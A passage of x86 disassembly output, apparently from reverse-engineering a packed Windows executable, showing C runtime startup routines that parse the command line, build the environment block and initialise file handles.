sub_42F1D0+Bj mov eax, ds:dword_4F4A24 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_42F24C loc_42F1F6: ; CODE XREF: sub_42F1D0:loc_42F233j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jz short loc_42F235 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42F235 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] push eax call sub_435D50 add esp, 4 test eax, eax jz short loc_42F233 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42F233: ; CODE XREF: sub_42F1D0+58j jmp short loc_42F1F6 ; --------------------------------------------------------------------------- loc_42F235: ; CODE XREF: sub_42F1D0+39j ; sub_42F1D0+44j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_42F24A mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42F24A: ; CODE XREF: sub_42F1D0+6Fj jmp short loc_42F263 ; --------------------------------------------------------------------------- loc_42F24C: ; CODE XREF: sub_42F1D0+24j ; sub_42F1D0+91j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_42F263 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42F24C ; --------------------------------------------------------------------------- loc_42F263: ; CODE XREF: sub_42F1D0:loc_42F24Aj ; sub_42F1D0+86j ... mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_42F285 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_42F285 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_42F263 ; --------------------------------------------------------------------------- loc_42F285: ; CODE XREF: sub_42F1D0+9Cj ; sub_42F1D0+A8j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42F1D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F290 proc near ; CODE XREF: _0:004221CDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h cmp ds:dword_4F4A2C, 0 jnz short loc_42F2A4 call sub_429890 loc_42F2A4: ; CODE XREF: sub_42F290+Dj mov [ebp+var_8], 0 mov eax, ds:dword_4F3360 mov [ebp+var_4], eax loc_42F2B3: ; CODE XREF: sub_42F290+57j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42F2E9 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_42F2D1 mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_42F2D1: ; CODE XREF: sub_42F290+36j mov eax, [ebp+var_4] push eax call sub_41BC70 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax+1] mov [ebp+var_4], edx jmp short loc_42F2B3 ; --------------------------------------------------------------------------- loc_42F2E9: ; CODE XREF: sub_42F290+2Bj push 6Dh push offset dword_43D430 push 2 mov eax, [ebp+var_8] lea ecx, ds:4[eax*4] push ecx call sub_41BE70 add esp, 10h mov [ebp+var_C], eax mov edx, [ebp+var_C] mov ds:dword_4F3314, edx cmp ds:dword_4F3314, 0 jnz short loc_42F324 push 9 call sub_422270 add esp, 4 loc_42F324: ; CODE XREF: sub_42F290+88j mov eax, ds:dword_4F3360 mov [ebp+var_4], eax jmp short loc_42F337 ; --------------------------------------------------------------------------- loc_42F32E: ; CODE XREF: sub_42F290:loc_42F3A5j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx loc_42F337: ; CODE XREF: sub_42F290+9Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42F3A7 mov ecx, [ebp+var_4] push ecx call sub_41BC70 add esp, 4 add eax, 1 mov [ebp+var_10], eax mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_42F3A5 push 79h push offset dword_43D430 push 2 mov ecx, [ebp+var_10] push ecx call sub_41BE70 add esp, 10h mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jnz short loc_42F38A push 9 call sub_422270 add esp, 4 loc_42F38A: ; CODE XREF: sub_42F290+EEj mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_C] mov eax, [edx] push eax call sub_41F620 add esp, 8 mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_42F3A5: ; CODE XREF: sub_42F290+CCj jmp short loc_42F32E ; --------------------------------------------------------------------------- loc_42F3A7: ; CODE XREF: sub_42F290+AFj push 2 mov edx, ds:dword_4F3360 push edx call sub_41CA10 add esp, 8 mov ds:dword_4F3360, 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ds:dword_4F4A28, 1 mov esp, ebp pop ebp retn sub_42F290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F3E0 proc near ; CODE XREF: _0:004221C8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h cmp ds:dword_4F4A2C, 0 jnz short loc_42F3F4 call sub_429890 loc_42F3F4: ; CODE XREF: sub_42F3E0+Dj push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call ds:off_4F5344 mov ds:off_4F3324, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, ds:dword_4F4A24 movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42F427 mov edx, ds:off_4F3324 mov [ebp+var_14], edx jmp short loc_42F42F ; --------------------------------------------------------------------------- loc_42F427: ; CODE XREF: sub_42F3E0+3Aj mov eax, ds:dword_4F4A24 mov [ebp+var_14], eax loc_42F42F: ; CODE XREF: sub_42F3E0+45j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax push 0 push 0 mov ecx, [ebp+var_10] push ecx call sub_42F4C0 add esp, 14h push 80h push offset dword_43D43C push 2 mov edx, [ebp+var_C] mov eax, [ebp+var_4] lea ecx, [eax+edx*4] push ecx call sub_41BE70 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42F47E push 8 call sub_422270 add esp, 4 loc_42F47E: ; CODE XREF: sub_42F3E0+92j lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call sub_42F4C0 add esp, 14h mov eax, [ebp+var_C] sub eax, 1 mov ds:dword_4F3308, eax mov ecx, [ebp+var_8] mov ds:dword_4F330C, ecx mov esp, ebp pop ebp retn sub_42F3E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F4C0 proc near ; CODE XREF: sub_42F3E0+65p ; sub_42F3E0+B8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_42F4F5 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_42F4F5: ; CODE XREF: sub_42F4C0+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_42F5CD loc_42F504: ; CODE XREF: sub_42F4C0:loc_42F58Dj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_42F592 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42F592 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, ds:byte_4F38E1[edx] and eax, 4 test eax, eax jz short loc_42F567 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_42F567 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42F567: ; CODE XREF: sub_42F4C0+76j ; sub_42F4C0+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42F58D mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42F58D: ; CODE XREF: sub_42F4C0+B8j jmp loc_42F504 ; --------------------------------------------------------------------------- loc_42F592: ; CODE XREF: sub_42F4C0+56j ; sub_42F4C0+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_42F5B4 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_42F5B4: ; CODE XREF: sub_42F4C0+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42F5C8 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42F5C8: ; CODE XREF: sub_42F4C0+FDj jmp loc_42F69C ; --------------------------------------------------------------------------- loc_42F5CD: ; CODE XREF: sub_42F4C0+3Ej ; sub_42F4C0+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42F5F3 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42F5F3: ; CODE XREF: sub_42F4C0+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, ds:byte_4F38E1[ecx] and edx, 4 test edx, edx jz short loc_42F64B mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_42F642 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42F642: ; CODE XREF: sub_42F4C0+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42F64B: ; CODE XREF: sub_42F4C0+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_42F677 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_42F677 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_42F5CD loc_42F677: ; CODE XREF: sub_42F4C0+197j ; sub_42F4C0+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_42F68F mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42F69C ; --------------------------------------------------------------------------- loc_42F68F: ; CODE XREF: sub_42F4C0+1C2j cmp [ebp+arg_8], 0 jz short loc_42F69C mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_42F69C: ; CODE XREF: sub_42F4C0:loc_42F5C8j ; sub_42F4C0+1CDj ... mov [ebp+var_14], 0 loc_42F6A3: ; CODE XREF: sub_42F4C0+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42F6CE loc_42F6AD: ; CODE XREF: sub_42F4C0+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42F6C3 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42F6CE loc_42F6C3: ; CODE XREF: sub_42F4C0+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_42F6AD ; --------------------------------------------------------------------------- loc_42F6CE: ; CODE XREF: sub_42F4C0+1EBj ; sub_42F4C0+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42F6DD jmp loc_42F8BB ; --------------------------------------------------------------------------- loc_42F6DD: ; CODE XREF: sub_42F4C0+216j cmp [ebp+arg_4], 0 jz short loc_42F6F4 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_42F6F4: ; CODE XREF: sub_42F4C0+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_42F701: ; CODE XREF: sub_42F4C0+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_42F70F: ; CODE XREF: sub_42F4C0+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_42F72E mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_42F70F ; --------------------------------------------------------------------------- loc_42F72E: ; CODE XREF: sub_42F4C0+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_42F78A mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_42F782 cmp [ebp+var_14], 0 jz short loc_42F76F mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_42F766 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42F76D ; --------------------------------------------------------------------------- loc_42F766: ; CODE XREF: sub_42F4C0+299j mov [ebp+var_8], 0 loc_42F76D: ; CODE XREF: sub_42F4C0+2A4j jmp short loc_42F776 ; --------------------------------------------------------------------------- loc_42F76F: ; CODE XREF: sub_42F4C0+28Dj mov [ebp+var_8], 0 loc_42F776: ; CODE XREF: sub_42F4C0:loc_42F76Dj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_42F782: ; CODE XREF: sub_42F4C0+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_42F78A: ; CODE XREF: sub_42F4C0+277j ; sub_42F4C0+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_42F7BE cmp [ebp+arg_8], 0 jz short loc_42F7AF mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_42F7AF: ; CODE XREF: sub_42F4C0+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_42F78A ; --------------------------------------------------------------------------- loc_42F7BE: ; CODE XREF: sub_42F4C0+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42F7E4 cmp [ebp+var_14], 0 jnz short loc_42F7E9 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42F7E4 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42F7E9 loc_42F7E4: ; CODE XREF: sub_42F4C0+306j ; sub_42F4C0+317j jmp loc_42F894 ; --------------------------------------------------------------------------- loc_42F7E9: ; CODE XREF: sub_42F4C0+30Cj ; sub_42F4C0+322j cmp [ebp+var_8], 0 jz loc_42F886 cmp [ebp+arg_8], 0 jz short loc_42F84D mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, ds:byte_4F38E1[eax] and ecx, 4 test ecx, ecx jz short loc_42F838 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_42F838: ; CODE XREF: sub_42F4C0+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_42F879 ; --------------------------------------------------------------------------- loc_42F84D: ; CODE XREF: sub_42F4C0+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, ds:byte_4F38E1[eax] and ecx, 4 test ecx, ecx jz short loc_42F879 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_42F879: ; CODE XREF: sub_42F4C0+38Bj ; sub_42F4C0+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_42F886: ; CODE XREF: sub_42F4C0+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_42F701 ; --------------------------------------------------------------------------- loc_42F894: ; CODE XREF: sub_42F4C0:loc_42F7E4j cmp [ebp+arg_8], 0 jz short loc_42F8A9 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_42F8A9: ; CODE XREF: sub_42F4C0+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_42F6A3 ; --------------------------------------------------------------------------- loc_42F8BB: ; CODE XREF: sub_42F4C0+218j cmp [ebp+arg_4], 0 jz short loc_42F8D3 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_42F8D3: ; CODE XREF: sub_42F4C0+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_42F4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F8F0 proc near ; CODE XREF: _0:004221BEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov [ebp+var_18], 0 cmp ds:dword_4F3524, 0 jnz short loc_42F94A call ds:dword_4F531C ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_42F928 mov ds:dword_4F3524, 1 jmp short loc_42F94A ; --------------------------------------------------------------------------- loc_42F928: ; CODE XREF: sub_42F8F0+2Aj call ds:dword_4F5320 ; GetEnvironmentStrings mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_42F943 mov ds:dword_4F3524, 2 jmp short loc_42F94A ; --------------------------------------------------------------------------- loc_42F943: ; CODE XREF: sub_42F8F0+45j xor eax, eax jmp loc_42FB05 ; --------------------------------------------------------------------------- loc_42F94A: ; CODE XREF: sub_42F8F0+1Bj ; sub_42F8F0+36j ... cmp ds:dword_4F3524, 1 jnz loc_42FA4E cmp [ebp+var_14], 0 jnz short loc_42F973 call ds:dword_4F531C ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_42F973 xor eax, eax jmp loc_42FB05 ; --------------------------------------------------------------------------- loc_42F973: ; CODE XREF: sub_42F8F0+6Bj ; sub_42F8F0+7Aj mov eax, [ebp+var_14] mov [ebp+var_8], eax loc_42F979: ; CODE XREF: sub_42F8F0:loc_42F9A3j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_42F9A5 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_42F9A3 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax loc_42F9A3: ; CODE XREF: sub_42F8F0+A8j jmp short loc_42F979 ; --------------------------------------------------------------------------- loc_42F9A5: ; CODE XREF: sub_42F8F0+93j mov ecx, [ebp+var_8] sub ecx, [ebp+var_14] sar ecx, 1 add ecx, 1 mov [ebp+var_4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_42F9F4 push 64h push offset dword_43D448 push 2 mov ecx, [ebp+var_10] push ecx call sub_41BE70 add esp, 10h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_42FA05 loc_42F9F4: ; CODE XREF: sub_42F8F0+E4j mov edx, [ebp+var_14] push edx call ds:dword_4F5324 ; FreeEnvironmentStringsW xor eax, eax jmp loc_42FB05 ; --------------------------------------------------------------------------- loc_42FA05: ; CODE XREF: sub_42F8F0+102j push 0 push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4F5450 ; WideCharToMultiByte test eax, eax jnz short loc_42FA3C push 2 mov ecx, [ebp+var_18] push ecx call sub_41CA10 add esp, 8 mov [ebp+var_18], 0 loc_42FA3C: ; CODE XREF: sub_42F8F0+135j mov edx, [ebp+var_14] push edx call ds:dword_4F5324 ; FreeEnvironmentStringsW mov eax, [ebp+var_18] jmp loc_42FB05 ; --------------------------------------------------------------------------- loc_42FA4E: ; CODE XREF: sub_42F8F0+61j cmp ds:dword_4F3524, 2 jnz loc_42FB03 cmp [ebp+var_18], 0 jnz short loc_42FA77 call ds:dword_4F5320 ; GetEnvironmentStrings mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_42FA77 xor eax, eax jmp loc_42FB05 ; --------------------------------------------------------------------------- loc_42FA77: ; CODE XREF: sub_42F8F0+16Fj ; sub_42F8F0+17Ej mov eax, [ebp+var_18] mov [ebp+var_C], eax loc_42FA7D: ; CODE XREF: sub_42F8F0:loc_42FAA3j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42FAA5 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42FAA3 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42FAA3: ; CODE XREF: sub_42F8F0+1A8j jmp short loc_42FA7D ; --------------------------------------------------------------------------- loc_42FAA5: ; CODE XREF: sub_42F8F0+195j mov ecx, [ebp+var_C] sub ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_10], ecx push 8Fh push offset dword_43D448 push 2 mov edx, [ebp+var_10] push edx call sub_41BE70 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_42FAE0 mov eax, [ebp+var_18] push eax call ds:dword_4F5328 ; FreeEnvironmentStringsA xor eax, eax jmp short loc_42FB05 ; --------------------------------------------------------------------------- loc_42FAE0: ; CODE XREF: sub_42F8F0+1E0j mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_41FBF0 add esp, 0Ch mov ecx, [ebp+var_18] push ecx call ds:dword_4F5328 ; FreeEnvironmentStringsA mov eax, [ebp+var_C] jmp short loc_42FB05 ; --------------------------------------------------------------------------- loc_42FB03: ; CODE XREF: sub_42F8F0+165j xor eax, eax loc_42FB05: ; CODE XREF: sub_42F8F0+55j ; sub_42F8F0+7Ej ... mov esp, ebp pop ebp retn sub_42F8F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FB10 proc near ; CODE XREF: _0:004221AEp var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_16 = dword ptr -16h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 6Ch push 81h push offset dword_43D450 push 2 push 480h call sub_41BE70 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_42FB42 push 1Bh call sub_422270 add esp, 4 loc_42FB42: ; CODE XREF: sub_42FB10+26j mov eax, [ebp+var_50] mov ds:dword_4F36C0, eax mov ds:dword_4F37C0, 20h jmp short loc_42FB5F ; --------------------------------------------------------------------------- loc_42FB56: ; CODE XREF: sub_42FB10+81j mov ecx, [ebp+var_50] add ecx, 24h mov [ebp+var_50], ecx loc_42FB5F: ; CODE XREF: sub_42FB10+44j mov edx, ds:dword_4F36C0 add edx, 480h cmp [ebp+var_50], edx jnb short loc_42FB93 mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_42FB56 ; --------------------------------------------------------------------------- loc_42FB93: ; CODE XREF: sub_42FB10+5Ej lea ecx, [ebp+var_48] push ecx call ds:dword_4F548C ; GetStartupInfoA mov edx, [ebp+var_16] and edx, 0FFFFh test edx, edx jz loc_42FD35 cmp [ebp+var_16+2], 0 jz loc_42FD35 mov eax, [ebp+var_16+2] mov ecx, [eax] mov [ebp+var_64], ecx mov edx, [ebp+var_16+2] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] add eax, [ebp+var_64] mov [ebp+var_60], eax cmp [ebp+var_64], 800h jge short loc_42FBE3 mov ecx, [ebp+var_64] mov [ebp+var_68], ecx jmp short loc_42FBEA ; --------------------------------------------------------------------------- loc_42FBE3: ; CODE XREF: sub_42FB10+C9j mov [ebp+var_68], 800h loc_42FBEA: ; CODE XREF: sub_42FB10+D1j mov edx, [ebp+var_68] mov [ebp+var_64], edx mov [ebp+var_5C], 1 jmp short loc_42FC02 ; --------------------------------------------------------------------------- loc_42FBF9: ; CODE XREF: sub_42FB10:loc_42FC9Dj mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_42FC02: ; CODE XREF: sub_42FB10+E7j mov ecx, ds:dword_4F37C0 cmp ecx, [ebp+var_64] jge loc_42FCA2 push 0B6h push offset dword_43D450 push 2 push 480h call sub_41BE70 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_42FC3E mov edx, ds:dword_4F37C0 mov [ebp+var_64], edx jmp short loc_42FCA2 ; --------------------------------------------------------------------------- loc_42FC3E: ; CODE XREF: sub_42FB10+121j mov eax, [ebp+var_5C] mov ecx, [ebp+var_50] mov ds:dword_4F36C0[eax*4], ecx mov edx, ds:dword_4F37C0 add edx, 20h mov ds:dword_4F37C0, edx jmp short loc_42FC65 ; --------------------------------------------------------------------------- loc_42FC5C: ; CODE XREF: sub_42FB10+18Bj mov eax, [ebp+var_50] add eax, 24h mov [ebp+var_50], eax loc_42FC65: ; CODE XREF: sub_42FB10+14Aj mov ecx, [ebp+var_5C] mov edx, ds:dword_4F36C0[ecx*4] add edx, 480h cmp [ebp+var_50], edx jnb short loc_42FC9D mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_42FC5C ; --------------------------------------------------------------------------- loc_42FC9D: ; CODE XREF: sub_42FB10+168j jmp loc_42FBF9 ; --------------------------------------------------------------------------- loc_42FCA2: ; CODE XREF: sub_42FB10+FBj ; sub_42FB10+12Cj mov [ebp+var_58], 0 jmp short loc_42FCC6 ; --------------------------------------------------------------------------- loc_42FCAB: ; CODE XREF: sub_42FB10:loc_42FD30j mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_60] add eax, 4 mov [ebp+var_60], eax loc_42FCC6: ; CODE XREF: sub_42FB10+199j mov ecx, [ebp+var_58] cmp ecx, [ebp+var_64] jge short loc_42FD35 mov edx, [ebp+var_60] cmp dword ptr [edx], 0FFFFFFFFh jz short loc_42FD30 mov eax, [ebp+var_4] movsx ecx, byte 